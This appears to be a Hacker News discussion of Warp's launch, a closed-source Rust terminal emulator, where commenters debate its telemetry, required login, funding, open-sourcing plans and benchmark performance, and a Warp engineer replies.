This is really interesting. I have been annoyed for a long time on how ssh, the terminal emulator, tmux, and the shell don't know anything about each other. I also started writing a native terminal emulator (no electron, of course) to fix these problems. I kind of thought I'd do the slow burn over 4 or 5 years of using it myself (being a shell sadly means writing a programming language, and you don't make a good one over the weekend), then maybe stick it on Github and get a Patreon going if other people want to use it and could be convinced for something they can get for free.

Warp has taken a dramatically different approach; they got millions in funding and just made it a company. I am shocked because I never considered there was a market for these things. Developers hate having their tools taken away when their credit card expires, and it's kind of hard to compete with free, which clearly works well enough to have created all software and systems currently in existence. But I guess there was a time when you only got a UNIX shell with a commercial UNIX license, and people did somehow get access to those, and they did become very popular.

Anyway, seeing this really made me rethink the world and I'm still reeling a little bit. (I think my thing will be better though ;)


Yes perhaps what we need is a "rampant layering violation" in the terminal world. ZFS showed how to build an awesome filesystem by breaking pre-existing boundaries. Can something similar happen between shell, terminal, tools, etc?


>Can something similar happen between shell, terminal, tools, etc?

Complex shell scripting was superseded by Perl. On shells, even OpenBSD's ksh it's enough. Tools? Unix utilities and, again, Perl for the complex stuff. Solved since 1997.


>you only got a UNIX shell with a commercial UNIX license

Even at these times you got tons of GNU and BSD utilities.

And since Slackware days, the commercial Unix' days were numbered.


Warp engineer here. Thanks for your note, glad to hear from a fellow engineer in this space! While there's a lot of great software that's free, the terminal is a tool tens of millions of developers use everyday - and there's a lot of value in this space.

How can I learn more about your project?

Btw, we are hiring! ;)


"[we want a restrictive license that] prevents another company from starting a commercial enterprise off of it"

versus

"our terminal model code is based on Alacritty’s model code."

Well done. Sorry guys, that's where you lost me.


I understand where you're coming from.

My take is that there are plenty of commercial projects that have open source dependencies so it's not quite so black and white. That said we are still figuring out the best way to proceed on open sourcing the warp client code.


Yes there are plenty of those. And if they then blatantly state that they are not open source because they don't want somebody to build a business on their product while that's exactly what they are doing, then they lost me as well.

I really like what you guys are working on, and I'd absolutely give it a try. But this is really a deal breaker here. Make the team-oriented features proprietary that need server space and accounts and all that, open-source the rest and enable it to run offline. Maybe not tomorrow, I get that. But the moment you do this will open the dams. Until then, you'll stay in a niche.


As pointed out elsewhere, the product (with waiting list) was announced here 8 months ago where open-sourcing was suggested (privacy and security and all that), but it seems that it hasn't been important to them.


How about something like GPL?


Like almost everyone else, I really want to like this product.

I imagine if it was open source, didn't have a bunch of strange network calls built in, and most importantly a third party audited the source code to make sure you're not doing anything wrong, then I'd be open to trying it.

The issue here is you have a black box, which will have complete control over my system. I have no idea what happens the moment I give you my sudo password, do you install a bunch of weird stuff in the background? How do I know this isn't just a keylogger?

I can't imagine any company approving this for internal use.

Equally concerning, what's your business model. Are you selling my data ? Will you deliver ads straight to the terminal ?

At the same time, I would absolutely love to see you. Someone do this, but as a transparent open source project. I'm just not sure how you can create a business from that.


Hi - Warp engineer here. Totally understand your skepticism and hesitation.

Regarding open source, we want to do it for parts and potentially all of the code. We plan to open-source our extension points as we go. You can read more about this here https://github.com/warpdotdev/Warp/discussions/400.

We have also talked internally about having penetration testing.

As for our business model, the terminal is totally free for individuals and we want to make a terminal so useful for individuals that their companies will want to pay for the team features.

The general philosophy is that we would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that. The types of features we could eventually charge for are things that have a cost to us, for example enabling real-time terminal collaboration.


I'd much be more likely to pay for something like a widget that hovers next to my actual terminal, with tons of key features, tips and all that good stuff.

There's just absolutely no way I'm going to trust some random application with my sudo password.


> Warp is a fully native, GPU-accelerated, Rust-based terminal. No Electron or web-tech.

I understand that this probably appeals to most readers there, but I don't like the negativity. I like Rust and Web tech, sometimes together, and I don't want my tools to shit on what I like.

We can also discuss the full nativeness. To me, the menus don't even try to look native. Is it native because it doesn't use a virtual machine or an interpreter? Almost all computers use a microcode, I think this argument is a bit obsolete. Performances matters, not how many layers or virtual machines you have.

I prefer some marketing about this terminal being fast, backed by proper benchmarks in which you can compare it against electron web-based terminals, and faster ones such as alacritty.


Hi, Warp engineer here! Nothing against electron. We write this in the headline because people who see features like blocks or input editor automatically think "slow". So it's a succinct way to communicate that we have a snappy app.

For benchmarks, we have some preliminary info in this tech blog https://www.warp.dev/blog/how-warp-works.


I understand that you want to promote the speed. I think the message could be more succinct without mentioning Electron and web.


Why? I hate Electron with passion, and being "no-Electron" was an insta-buy for me.


Because criticising a technology to promote a product doesn’t sound attractive to me. You wouldn’t have tried it without the electron hate?


The telemetry is concerning, but I'm much more concerned about whoever else decides to use your telemetry hooks to exfiltrate data.

I'm 100% on board with trying out a new terminal that is fast and has features, but there's an implicit expectation of the simplicity of the communication channel, and... this is not it.


Looks snazzy and I'm sure it's fast, but raising capital to fund a terminal emulator? Making a bunch of network requests on startup without asking? No thanks! I'll stick to open-source terminal emulators like foot, alacritty, gnome-terminal, or a dozen others. I guess I'm not the target market.


While it's entertaining to see Warp get excoriated for telemetry, keep in mind that they're doing what everyone else is. The new Windows Terminal has opt-out telemetry, as does PowerShell 7, .NET Core, and well... pretty much everything Microsoft ships these days has telemetry on by default. Last I checked, a fairly basic Windows + Office setup has 200+ individual sets of telemetry.

To get this veritable torrent of information past those "pesky" secops people, they resort to underhanded tricks like using host names like "microsft.com" to bypass firewall rules blocking "microsoft.com".

It is borderline impossible to stop telemetry in a typical corporate environment without heroic, ongoing vigilance from a rabid sysadmin foaming at the mouth about privacy.

This is the new normal. Get used to it, or do something about it.


No, do not get used to this. And you can do something about it by calling it out and letting them know you do not want this.

And don't use it until it changes.


This is an interesting comment. Warp is a Mac application. How does the amount of telemetry on Windows have anything to do with this post?


I was comparing a new terminal app to a different new terminal application that happens to be on a different platform.


And that is a large part of why I have been scaling back my usage of Microsoft tech over the last decade. These days the windows computer I have is only a game console as all other tasks has been moved over to Linux.


I assume Warp is fundamentally incompatible with GNU screen or tmux.

That's a shame because terminal multiplexers like GNU screen and tmux such a core part of my terminal usage that I'm hesitant to discard them, even for something that looks really useful like Warp.

I'm not sure how many people actively use terminal multiplexers like GNU screen and tmux, so maybe I represent only a tiny minority of users.


I suspect its a minority but I'm right there with you. screen is great I love being able to detach and reattach and have many shells in a single window even if I'm on another machine.


I 100% agree with you. I will keep Warp on my radar, but without proper tmux support it's no-go for me.

All my friends, which are using terminals, are also using tmux. It's still small sample, but probably we don't represent such a tiny minority here.


On the beta sign up survey they mention tmux as a feature request.


Anyone know how this lines up to other terminals performance wise. I’ve been pretty happy with alacritty, but would be willing to try a terminal with more features.

https://github.com/alacritty/alacritty


Don't forget WezTerm, which is imo the best of the recent crop of GPU-accelerated terminal emulators implemented in Rust (with built-in multiplexing!):

https://wezfurlong.org/wezterm/

Having now tried Warp, I think it's fine. I doubt performance will be a problem. What concerns me more is that it's not open-source.


Good question! We did an initial benchmark of scrolling back in July against Terminal, iTerm, Hyper, Kitty, and Alacritty, if you’re interested: https://www.warp.dev/blog/how-warp-works.

We started by forking Alacritty's model and parser and because we have a similar architecture (Rust-based, rendered on the GPU) we should generally be at, or near, the performance of Alacritty.


I just ran a quick test using Casey Muratori's termbench (https://github.com/cmuratori/termbench) you are an order of magnitude slower than Alacritty, and also significantly slower than iTerm. Warp also locks up pretty severely and only shows a new frame once every few seconds during most of the run.

Alacritty

CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz

VT support: no

ManyLine: 1.5670s (0.0399gb/s)

LongLine: 1.1261s (0.0555gb/s)

FGPerChar: 0.3293s (0.0551gb/s)

FGBGPerChar: 0.6598s (0.0534gb/s)

TermMarkV2 Small: 3.6822s (0.0484gb/s)

iTerm

CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz

VT support: no

ManyLine: 13.2968s (0.0047gb/s)

LongLine: 3.6535s (0.0171gb/s)

FGPerChar: 1.8944s (0.0096gb/s)

FGBGPerChar: 2.8304s (0.0125gb/s)

TermMarkV2 Small: 21.6750s (0.0082gb/s)

Warp

CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz

VT support: no

ManyLine: 9.6199s (0.0065gb/s)

LongLine: 8.3727s (0.0075gb/s)

FGPerChar: 8.1124s (0.0022gb/s)

FGBGPerChar: 6.0873s (0.0058gb/s)

TermMarkV2 Small: 32.1924s (0.0055gb/s)


Yeah, this is a known issue, unfortunately--but it's definitely something we want to fix as we improve Warp. See more information here where we chat with Casey about it: https://twitter.com/zachlloydtweets/status/14175482714432348...


> we should generally be at, or near, the performance of Alacritty

> evidence that it’s not

> Yeah, this is a known issue

I don’t want to be critical, but which is it? If you know you are not anywhere near the performance, why say you are?


> If you know you are not anywhere near the performance, why say you are?

(in a voice like Jon Lovitz as Master Thespian) Marketing!


Hey - that's a good point. The thing about terminal benchmarks is that there are many of them, each focusing on a different aspect and producing different results. There's one by alacritty team[1] that we used in our initial tests[2], there's another ones mentioned in the comments above etc. When using vtbench, Warp performed much better than iterm, for example.

Ideally we'd ace all of them, but we're not there yet. Anecdotally, many of our users mention speed/performance improvements over other terminal apps a lot in our Discord!

[1] https://github.com/alacritty/vtebench [2] https://www.warp.dev/blog/how-warp-works


I don’t see the contradiction. They should be, but they aren’t.


I've tried one very basic terminal rendering benchmark I had at hand [1] and on my MacBook Pro it was 17x faster than iterm and 3x faster than wezterm which is my daily driver.

https://github.com/wez/wezterm/issues/192

So it's not all that bad ;)


thanks for posting this—no idea why every new terminal released today doesn't test against termbench and/or take a look at refterm these days, that's the first thing I would do.


What do performance problems in a terminal even look like?

I feel like a crazy person in this thread because I’ve literally never had the thought: “I could be so much more productive but this damn terminal is slowing me down”.


Imagine you're using a terminal based text editor full-screen with say 364 columns and 77 rows. You've got it nicely split into three vertical windows for code, with a tree display a fort window on the left-hand side. One of these three code windows is split horizontally and is tailing a log file, and you're quickly paging through code on another.

This is a lot of terminal I/O, and you want this scrolling to be fast, smooth, and to not flash or blink awkwardly.

I do this because I'm running my editor on a remote machine over SSH, which has a ton of cores, memory, and fast disk. Just firing up the LSP server on this giant monorepo causes the fans on my laptop to spin like crazy and takes forever to initialize. Blazing fast on this remote host.


It matters if you regularly dump huge amounts of text to the terminal. In other words it rarely matters to most people. In fact, if it did, more people would realise that the terminals they use are often quite slow compared to ones like e.g rxvt.

Most terminals don't even implement most well understood "hacks" to keep up with the apps they're running (e.g. "render" to a text buffer and render the text buffer to the screen separately and decoupled (multiplex or on separate threads)), because people rarely are affected enough to care.


The terminal is a surprisingly performance intensive application. When we built an initial prototype in electron, it was struggling to render full screens of text output on large screens. We want to support 144 fps on 4K monitors.

Additionally, Warp has GUI elements like blocks and context menus. We talk about performance because when we discuss our features, people automatically assume it's going to be sluggish.


Hmm, I’ve definitely had commands run in the terminal that were speed limited by how fast the terminal could output the results.


Kitty is awesome, but no windows if you're into that. Alacritty awesome as well, but minimalistic and rust which I have no idea why it matters in OPs post or in general.


I appreciate memory safety in applications that handle and interpret data controlled by third-parties. Kitty and Alacritty stand apart as written in memory safe languages, unlike the vast majority of terminal emulators which are written in C/C++. Doesn't mean their bug-free, but they're less likely to have trivial RCE vulnerabilities.


Kitty is written in C, afaik.


It's a mix of Python and C


Odd naming choice. "Warp" is already a rust crate and it's sitting at many more stars than this product https://github.com/seanmonstar/warp


One feature that’s missing from a surprising number of Mac terminals is a hotkey-bound non-activating dropdown (think Quake console) or HUD window (imagine a floating, frameless terminal window in the vein of the Alfred or Spotlight window).

The best implementation of this to date was in TotalTerminal/Visor, which was a mod for the Apple terminal that added this feature but naturally went the way of the dodo when macOS added SIP. iTerm2 has a feature that kinda does this, but that implementation is comparatively janky and half-baked feeling.

If Warp gained a polished version of this there’s a good chance of it becoming a mainstay on my systems.


I have my iTerm2 hotkeyed to tilde (an homage to Quake) it instantly appears and disappears with one key.


Hey! Actually, Warp does have a "quake mode" - you should give it a try (Settings -> Features -> Hotkey Window)


A login-required terminal that sends telemetry to multiple sources is on the front page...why? Is it just because it's written in Rust? I don't see any other reason. It's not even fully open source.

> After 20 years of programming, I still find it hard to copy a command’s output; I always forget how to use `tar`; and I always have to relearn how to move my cursor.

Huh? I think if it takes you >20 years to do basic stuff like that, you need to revisit your approach to learning new things. If I play chess for 20 years and still don't know how to move the pieces, it's not the game's fault, it's mine.


This is really awesome Zach & team, congrats on the awesome work. I just installed it and I already replaced my default terminal (it was iTerm before).

I wonder if you thought of adding plugins a-la Fig [1], but using WebAssembly instead of being restricted by Javascript?

Some projects like Lapce [2], Dprint [3], Fiberplane [4] are already using this strategy to extend their ecosystems and I really believe it could be incredibly useful to extend usability on the terminal side!

Please feel free to reach to syrus@wasmer.io, I'd love to help as much as possible on that path!

[1] https://fig.io/docs/getting-started

[2] https://lapce.dev/

[3] https://dprint.dev/plugins/

[4] https://fiberplane.dev/blog/announcing-fp-bindgen/


Well I think this looks really cool! I’d be interested if it just had Blocks and nothing more, but the other headline features for individuals sound great too. I’m not sure how much value I’d get out of the team features, but I’m certainly open to being pleasantly surprised.

And I don’t mind using my GitHub account or contributing to telemetry during a private beta. I understand why others here find that problematic, but I’ll probably just use another terminal if I need to use/access sensitive data during that period.

Looking forward to trying this out! Thank you for sharing.


Thanks for the positive feedback - let us know how it goes.


Why would I care that it's written in Rust if I can't even download the source code? I have a Rust compiler but I can't run this terminal. This is a stupid project and false advertising.


> Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features. We will never sell your data.

So, don't collect it to begin with, so even if you get bought the data can't be sold, because there is none?

Ah wait...


If the business model for this was: 1) fully open source 2) ~$2.99 per user per month 3) more for team features 4) paid plugins and themes 5) opt-in and inspectable telemetry

They’d probably get their million paying users in the first year.

For this crucial part of this target market’s (engineers) toolkit, it HAS to A) be open source and B) have the option for zero telemetry.

Inb4: “if it was open source why would people pay for it?!?” Because at the right price people are happy to pay and support something they love and get low-effort trustworthy updates built in.


Thanks for writing your thoughts! I can understand the skepticism and ultimately this is not far from the business we want to build.

The terminal is totally free for individuals and our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.

We are also definitely open-sourcing parts and potentially all of the code.

You can read more about how we see it here: https://github.com/warpdotdev/Warp/discussions/400.


Who'd have thought a terminal app is worth a $17m series A? No surprise its loaded to the hilt with spyware. Gotta pay for that VC money somehow.

This has me reconsidering my usage of iTerm. What could be lurking in there? Maybe it's safe for now, but will the next update include spyware so iTerm can get its piece of the pie?

Mac's builtin terminal is quite good. Nothing fancy. It's good at what it does and doesn't try to be something it's not.


I think that Blocks are the most interesting feature here as it seems to fix the biggest issues with terminals that make them feel broken and out of date.

I am concerned that they will only work for simple workflows and not work with ssh, or docker attached shells, unless extreme effort is put into this area.


We do support SSH, but Docker support is still something we'd like to support, you can read more about how we are able to render blocks here: https://www.warp.dev/blog/how-warp-works.

Ultimately, our ideal state would have to have an API for this so that developers can implement this themselves to support blocks in arbitrary REPLs (mySQL, Python, etc).


The name collides with a web framework (also in Rust)

https://lib.rs/crates/warp


Confusing name, as warp is a Rust crate for web applications: https://crates.io/crates/warp


A terminal that requires me to log in. No thnx. Uninstalled.


> The terminal’s teletype-like interface has made it hard for the CLI to thrive.

CLIs are available on every OS.

> I always forget how to use `tar`;

You can increase the amount of command history you keep. Or keep a file with oft used commands.

> Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.

Hard to believe. But good luck.

> We will never sell your data.

Define never. What if apple offered you $10 billion for the data? Even then? Also, why would you be collecting our data in the first place? Why does a terminal need to collect data?

Is there any new development or any product today that isn't collecting data? When's the last new product or upgrade or anything that didn't have data collection.


I think there is a lot of potential for creativity in the terminal space, and warp has some cool ideas. I'd honestly even be willing to pay directly for a terminal if it went above and beyond in terms of efficiency and functionality. Unfortunately I cannot try warp, as I don't have an osx machine. I understand that cross platform (in particular Linux ports) is a challenge, and I usually don't expect that from consumer products or open source projects. But a VC backed product made specifically for developers should have a Linux port imo, especially if your business model is to impress developers and get them to convert their teams.


Warp engineer here. Thank you for the kind words.

We do want to support linux once we get the product experience right. We decided to build in Rust and set up a UI framework because we wanted to make it easier for us to port to Linux.

For now, every platform we support entails additional engineering overhead that takes away from getting to product-market fit. Once there, we will invest resources into supporting Linux, Windows, and the Web.


I think it's absurd to put a Terminal behind a login and collect telemetry data. You don't need any of these to "develop a good product by listening to your users". It just makes your whole effort look like a scam.


Excited to see this launch! I think there is a lot of opportunity for a terminal that is aware of the fact that the one-computer-per-dev model is not really how it works anymore. That, and a terminal that can help me avoid big mistakes, help me remember commands, and more. It's great to see innovation take place in this space.


They’ve raised $23m?!? Uhhh


I think you could build a really good terminal if you had $23M to piss away.

I strongly doubt you can create a good terminal if it also needs a business model that can recoup $23M.


I don't doubt you could have a single, family supporting business supporting a piece of software. Like, I am rabid to pay $20 for a license to any software I can run by a small guy.


If you squint this isn't that far different from rundeck, ansible tower, etc. or other devops platforms that focus on collaborative management and maintenance of machines, services, etc. If they market to the kubernetes space in particular I suspect there's a market for devops teams there--the ecosystem is flooded with CLI tools and best practices but very little primary panes of glass to manage them all or tie them together. It's not too far of a jump to start offering a managed cloud service with these services.


I know, right? What’s some random, core, local utility that we rely on every day that we can cloudify and attach a service fee to?

puts on thinking cap


At least it’s not electron


Yeah it might seem like a crazy amount.

Building a terminal is hard. We have to build feature parity, maintain a stable terminal-shell interface, on top of modernizing the product experience. The money allows us to hire engineers to work on this project full-time and create a great product experience.


I don’t doubt any of that. The amount seems crazy not because of the potential costs, or ability to invest in the product, but rather due to TAM.

But nobody would lead a round of that size without a decent monetization strategy. I suspect enterprise focus around security / IAM integrations (hence all the telemetry).


I think putting real enterprise focus on the terminal is a good thing but I'm not sure that's the right place for IAM or other security integrations. The terminal is just the GUI rendering on top of the actual tool (bash/zsh etc.) The security probably needs to be at the door (ssh/https etc).


Cool.

Actually the telemetry has nothing to do with our monetization.

Enterprise is right. We are monetizing through team and enterprise features. We are planning to build among others:

- Sharing hard-to-remember workflows within your team

- Wikis and READMEs that run directly in the terminal

- Session sharing for joint debugging


How are you going to get a return on that money though? Sell an enterprise version, or do a free / professional model?


This is what stunned me. Apparently a bunch of SV rich people have so much cash to light on fire that they are funding stuff like this.

Jeez, I have a crap-ton of half baked ideas and a bridge that I would love to sell.


I could mildly ignore the invasive telemetry on my terminal (of all things), but making me sign into the terminal to use it is really bizarre behaviour. You make it a point on your web page that it isn't "yet another Electron app", but damn does it behave like one.


I love the idea of mixing terminal and documentation, kind of like a terminal notebook. I wish there was an open source project that was basically just a shell/bash jupyter notebook and nothing more. So many little scripts, makefiles, project setups, etc. would be way easier to understand and maintain if they were mostly markdown documentation with some big "Run this" buttons next to the code blocks.


https://en.m.wikipedia.org/wiki/Man_page


If there's a 1970's technology in bad need of an update, it's the man page format IMHO. Markdown is far easier to quickly learn and write.

But you completely missed my point of computational notebooks + shell and I'll just respond in kind with a link that you should research yourself: https://en.wikipedia.org/wiki/Project_Jupyter


There is a bash kernel for Jupyter.


I've been using this for personal projects (I use Linux at work -- which isn't yet supported). It's really nice, actually. It just kinda brings the terminal more in line with what you'd expect from a modern application. I can't wait to see where it goes.

I think they are planning a lot of work for teams. Some people hate IDEs, but I love them. I see this as IDE-izing the terminal.


I tried it. It’s nice to be able to interact with the text input in a more familiar way. Tab completions are good, but not much better than what I had with zsh in Terminal.

Like others have mentioned, I am confused about why I have to sign in, why telemetry is recorded, etc.

From the comments, seems the team is well-meaning. Time will tell. The privacy blowback reminds me of Kite’s first post on HN.


Unfortunately, I can't see this as anything other than a solution in search of a problem.

Everything you'd want to do in a terminal that is worth sharing would be version controlled, which is vastly superior in everyway.

You've all done some cool work here, and I can complement that, but I think this is a really weird idea with no real world evidence to justify its existence.


I want to like this, and clearly a lot of work went into it, but the existing tooling here has gotten so good lately, without losing any of the power user affordances.

WezTerm is crazy fast with GPU-accelerated ligatures, mcfly has an NN in it that startles me, fzf, rg, bat. Everything has bash/zag/fish autocomplete in it now. tmux customization has become a high art form, VSCode has forced all the best language tooling features in vi and emacs.

There’s definitely a renaissance of the terminal happening, I just think it’s fueled more by the Rust community having found its first killer use case/thin end of the wedge into all our lives by pimping our ride on the terminal experience than corporate backing.

Best of luck to these folks, but I hope they’re aware of Lucid and have its outcome incorporated into their plan. They did great stuff but a bunch of GNU people with something to prove built it in the bazaar.


This is the closest comment to my reaction. I love iTerm2. I am extremely picky about customizing my tools and I haven’t hit a single road block.

It’s on a visibility toggle with one key, nice margins on all sides, tmux, spaceship prompt, a color scheme that matches my IDE, I can hide the title bar if I like. It’s basically perfect. I don’t need error messages with rounded borders.


I am a long-time `iterm2` user, it's really nice and is actively maintained by smart people: it's always getting better. So I won't exactly try to steer you away from it, it's good.

With that said I strongly encourage you to check out WezTerm. It's exactly that GNU/Rust "chip-on-the-shoulder" type project where someone was just like: "I don't care how much work it is".

It's fast, stable, and reliable on Linux and mac OS, it has a much more user-friendly configuration experience than e.g. Alacritty (which is also cool and I used for awhile). It supports tabs and copy/paste and all the stuff you'd expect. And it has GPU-accelerated ligatures. Every other terminal emulator project just gave up on that.

And it's such a cool example of the phenomenon I'm alluding to: I tried it awhile back and it was like "My First Rust Project", but the author kept at it and at it and became seriously formidable in the process. I don't use software because I like the maintainer's attitude, but it's pleasant when the best software has a maintainer who I admire.


Really appreciate that Linux support is on the roadmap. Was going to flame for yet another mac-only app, but looks like cross-platform support is on the horizon so appreciate it!


Thank you :) We are looking forward to build that.

Rust has pretty extensive platform support, which makes it relatively simple for us to do that.


Saw that advertise a 17M Series A, ok cool. Download the terminal - first thing is Github Login to use the Terminal.

The world is in trouble when your putting 17M into a Terminal designed to track and make money off of us? ie. Facebook. ie. we are the product?

No thanks, deleted. I'm a programmer, don't need a corporation in my terminal.


What is your monetization plan?


Sponsored commands


“Command not found: git. Did you mean github(tm)?”


You've reached your daily execution limit of `git`, please buy Warp tokens through the Warp Store (F4) to continue using `git`.


I think you mean “please buy warp keys to unlock git boxes. 1 in 10 give you a rebase token! Each git box has at least one commit token. Follow us on twitter so you can be the first in line when our ascii art NFTs go live!”


Warp engineer here: Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.


Thanks for the response! That sounds great to me.


For me this shows kinda narrow thinking. Terminals have been around forever and adding more colors or gpu accelerations is not doing anything for it. What we need is more innovative ideas how to get rid of terminals, not how to accelerate text output. Also Mac-only as if Mac users need terminals that much.


I've been using Warp on and off since it got released and I was under the impression that it was Electron-based as it didn't feel as responsive as iTerm. At one point, with just one open tab (in the early days), it was using over 10GB of memory, but I will definitely give it another fresh try.


Thanks for calling this out! Yeah we unfortunately had a memory issue early on with loading fonts that would cause memory in Warp to explode. This has since been fixed and memory in Warp should hover around ~50-100 MB.


Thank you! Now it feels much better!


Oh boy, a terminal that I have to pay a monthly fee to use. Can’t wait.


Warp engineer here. Warp is actually free for individuals.

Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features. Even those will likely be free up to some level of usage and only charged in a company context.


I look forward to a fork that strips out all the network access and SaaS options. Then I might be interested.


Isn't this called Alacritty?


What bothers me is that it blends the lines between shell and terminal. A lot of the functionality could be exposed in a more terminal-neutral way.


Hello, your product looks cool and I don't care about telemetry as it looks here. However, what is your ultimate business model? For tools like this I would prefer either a single purchase or a Jetbrains style annual-pay-with-fallback-licence.


Hey, thanks for the kind words!

The terminal is totally free for individuals. Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.

The general philosophy is that we would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that. The types of features we could eventually charge for are things that have a cost to us, for example enabling real-time terminal collaboration. Even those will likely be free up to some level of usage and only charged in a company context.


Alok, would you guys make me a build without the Github login? I'm just unreasonably protective about mine on account of having trading code there.

I'll have someone Venmo you $50 for it (and gas fees haha).


Dope. I shall install this.


It makes no sense in using a terminal that is not open source, has outgoing requests, telemetry, et al; requires login and is VC-backed: what's next to please the VCs? Track user input? Ads in your terminal? Subscription based?

Besides many on the pain points / motivations you mention, like "Developers work in teams, but terminals don’t support collaboration" just make me think that what you want to develop is a productivity and collaboration tool, but don't want to call it that.

I do enjoy someone is looking into the terminal but not this way...


Terminal need to be instant. This kind of stuff seems like it will make it painful to use.


All you who require flashy bs in every single application are to blame for the abomination of a proprietary terminal which phones home.


Great work on launch! I have been using the private beta and it's a true step function improvement over standard terminal


I don't want my terminal to look and feel like a react app. My terminal is where I go to escape from the modern world.


Does this pass the vt100 torture test (http://www.inwap.com/pdp10/vt100test.txt)?


I use configured zsh which has majority of features mentioned above. It is integrated with fzf and also has autcompletions(with help description), autosuggestions,hints, file completions and more. You can see my zsh dotfiles below.

https://github.com/varbhat/dotfiles/tree/main/dot_config/zsh

I could even have enabled real time type ahead completions with this plugin but i haven't (because i don't need this feature) : https://github.com/marlonrichert/zsh-autocomplete

i use my current configuration on foot terminal (which itself is blazing fast and boasts fastest vtt parser) in linux and kitty terminal (which is very feature rich, even has terminal graphics protocol so that you can even run glxgears(opengl cube demo: https://github.com/michaeljclark/glkitty) on it) on linux and macos.

i am sure that other shells such has fish also have these features.

So, what benefits do i get on switching to warp? currently,i don't see any except few marketing words which aren't enough for me to start using warp.

I might be missing something but i am all ears.


Warp engineer here.

Here are some differentiated features:

- Blocks: we group commands and outputs together so it is easier to navigate through the terminal, and perform actions on the outputs [0]

- A text editor for the input: selections, cursor positioning, multiple cursors [1]

- Workflows which allows you to save and share hard-to-remember commands [2]

The projects you mentioned are great. They do involve some amount of configuration. We have those out of the box so they are more easily accessible to developers.

[0]https://docs.warp.dev/features/blocks

[1]https://docs.warp.dev/features/the-input-editor

[2]https://docs.warp.dev/features/workflows


https://news.ycombinator.com/item?id=9224


hahaha


Been keeping an eye on this for a while now. Will test on Mac soon. Congrats on the launch!

Just a heads up: on Pixel 6 on Firefox, the homepage is not smooth at all and feels sluggish.


Damn, i knew it was a mac-first product but i really hoped for a linux release. Guess it does makes sense to attack the market with more money, but still.


This is bullshit.

> The terminal’s teletype-like interface has made it hard for the CLI to thrive

bullshit

> user accounts to just run a terminal?

bullshit

> collaboration

bullshit ...


Actually I would say collaboration is a huge win. Right now we do shared screens when we have to do some CLI operation.

I know and have worked at companies with very complicated setups for CLI-based workflows where you need 2 people to agree for each command. This could potentially solve all of that.

That being said, with the move to containers there's a lot less CLI surgery to do.


But hasn't collaboration and stuff been a thing for as long as time-sharing machines have? Besides, Service as a Software Substitute is NEVER a good idea, I don't want to go to someone else's server to do something I could on my own, especially when I have to pay taxes for it... By the way, can you define "CLI surgery" for me? I used Unix for a while but haven't played with containers beside chroot jails, and I suspect all that is just your company overcomplicating simple things.


Please contribute more elaborative criticism than simply the word "bullshit"


This seems to be more like an IDE or ISE and not like a terminal emulator and a running CLI shell.

At first I thought it was a sh-compatible replacement, but it wasn't, and then I thought it was a terminal emulator, but that's not really what it is either. And then came the intrusive pop-ups all the time and now I don't really know what it is. A teaching tool perhaps? A "use it once a year" tool?


I live in the terminal. If that is not open source then I am not using it.

This is a hill I will die on and it sets terrible precedence for other core workflow tools.


For all the people that complain about phoning home. You are using macos or windows right? Isn't that what most apps do on those platforms? Chrome, firefox, your image viewer (macos), explorer (windows: the recent ad fiasco), docker, most electron apps, siri, cortana. Even login (windows). So now your terminal will do it too.

To make myself clear: I completely agree with you. Just pointing out the fun.


Aside from the $23m investment, telemetry, whiff of Rust fanboyism, the core claims made are questionable for me: Terminals are hard to use. Complex commands. Arcane key shortcuts. Abstruse commands. Every productivity application is more powerful when it is collaborative - true 100% of the time. Fixing a problem that doesn't really exist in my book - but good luck!


Why do I get the sinking feeling that the comments here are going to turn out to be like "No wireless. Less space than a Nomad. Lame."; and despite looking like the Juicero of terminal emulators now, Warp will be table stakes for any upcoming developer 10 years from now, who will be unable to fathom using a bare shell in xterm or even something like Kitty?


What makes you think that other terminals like https://github.com/alacritty/alacritty or https://github.com/kovidgoyal/kitty can't catch-up in features?

For one, closed-source is a non starter to many and I only see this trend going up.

No, this is not a dropbox-like launch. And criticism seems pretty fair so far.


Just tried it too.. Justified worries over closed-source & telemetry/github sign-in, but holy cow it's good. I especially like the just right minimal amount of settings – nothing extra, nothing missing – and fantastic minimalistic docs that gives understanding of all features and all hotkeys in like 10 mins. Impressive.


Thanks for your positive feedback, Divan!


correct me if i'm wrong, but it sounds like the monetization strat here is to sell this to companies for their teams to use to increase collaboration. it would follow then that most-everything (?) i'm doing is being mirrored to a remote server. presumably, your target market would be engineers.

if true, as an engineer, i'm a hard pass.


I'm using Fish with vim mode and something seems to have gone wrong, where the prompt displays the currently mode of vim (here [I] for insert) your terminal seems to interpret this as a command, so nothing works unless I delete the [I] at the start of the line.

  [I] [I]ls
  fish: Unknown command: '[I]ls'


I feel like an outcast whenever someone tries to reinvent something that has worked fine for ages now. I would happy use gnome-terminal or urxvt or windows terminal or whatever and it basically works the same for me. Can't I set a font and maybe color scheme? Then who cares just grab iTerm2 and get work done.


I've been enjoying an alternative approach to a Rust terminal called Starship and the performance improvement is tangible. It is also cross-platform. https://github.com/starship/starship


Heard about Warp from Twitter and the rustacean station podcast. I don't think I'm the target audience (uses Linux and wouldn't use a proprietary terminal), but it's nice to see you try to improve such a fundamental and commoditized tool. Wishing you all the best!


I see a lot of cool tech here all around. It's inspiring! Thanks!

At https://github.com/warpdotdev/Warp How did you achieve to have the folders /keysets and /themes to be linked to the other git repos https://github.com/warpdotdev/keysets and https://github.com/warpdotdev/themes I wanted to do this for a long time but all tutorials pointed to all alternatives one more difficult than the other.


I think it's just a submodule


thanks! When I tried to look into it months ago I just got stuck in 2 hours reading of git submodule vs subtree and all the nuances. I like the way the submodule link is added by github. I'll just try that path and see how it goes, better than paralysis from analysis.


So what sort of valuation does a terminal raise $23m at


Presumably investors want at least 10x their investment, so...


That’s return on investment, not valuation.

Let’s say for giggles it was $23 at $46 post, even by today’s bubble standards, that seems…rich.


